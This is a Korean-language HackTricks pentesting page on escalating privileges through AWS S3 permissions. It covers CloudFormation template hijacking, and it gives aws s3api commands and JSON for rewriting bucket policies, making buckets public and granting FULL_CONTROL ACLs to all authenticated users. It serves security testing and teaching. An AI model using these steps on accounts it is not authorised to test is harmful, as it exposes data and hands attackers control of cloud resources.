AWS - S3 Privesc

Support HackTricks

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

흥미로운 버킷에 대한 이러한 권한을 가진 공격자는 리소스를 탈취하고 권한을 상승시킬 수 있습니다.

예를 들어, "cf-templates-nohnwfax6a6i-us-east-1"이라는 클라우드포메이션 버킷에 대한 이러한 권한을 가진 공격자는 배포를 탈취할 수 있습니다. 접근은 다음 정책으로 부여될 수 있습니다:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

그리고 하이재킹은 템플릿이 버킷에 업로드되는 순간부터 템플릿이 배포되는 순간까지의 작은 시간 창 때문에 가능합니다. 공격자는 자신의 계정에 람다 함수를 생성하여 버킷 알림이 전송될 때 트리거되도록 하고, 하이재킹하여 해당 버킷내용을 가져갈 수 있습니다.

Pacu 모듈 cfn__resouce_injection은 이 공격을 자동화하는 데 사용할 수 있습니다. 자세한 정보는 원본 연구를 확인하세요: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

이것들은 S3에 객체를 가져오고 업로드하는 권한입니다. AWS 내부(및 외부)의 여러 서비스가 구성 파일을 저장하기 위해 S3 스토리지를 사용합니다. 이들에 대한 읽기 접근 권한이 있는 공격자는 그 안에서 민감한 정보를 찾을 수 있습니다. 이들에 대한 쓰기 접근 권한이 있는 공격자는 데이터를 수정하여 일부 서비스를 악용하고 권한을 상승시키려고 시도할 수 있습니다. 다음은 몇 가지 예입니다:

  • EC2 인스턴스가 S3 버킷에 사용자 데이터를 저장하고 있는 경우, 공격자는 이를 수정하여 EC2 인스턴스 내에서 임의의 코드를 실행할 수 있습니다.

s3:PutBucketPolicy

공격자는 같은 계정에서 있어야 하며, 그렇지 않으면 지정된 방법이 허용되지 않습니다라는 오류가 발생합니다. 이 권한을 가진 공격자는 자신에게 더 많은 권한을 부여하여 버킷을 읽고, 쓰고, 수정하고, 삭제하고, 노출할 수 있습니다.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

공격자는 이러한 권한을 악용하여 특정 버킷에 대한 더 많은 접근 권한을 부여할 수 있습니다. 공격자가 동일한 계정에 속할 필요는 없다는 점에 유의하십시오. 또한 쓰기 접근 권한

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

공격자는 이러한 권한을 악용하여 버킷 내 특정 객체에 대한 더 많은 액세스를 부여받을 수 있습니다.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

이 권한을 가진 공격자는 특정 객체 버전에 Acl을 설정할 수 있어야 합니다.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
HackTricks 지원하기

Last updated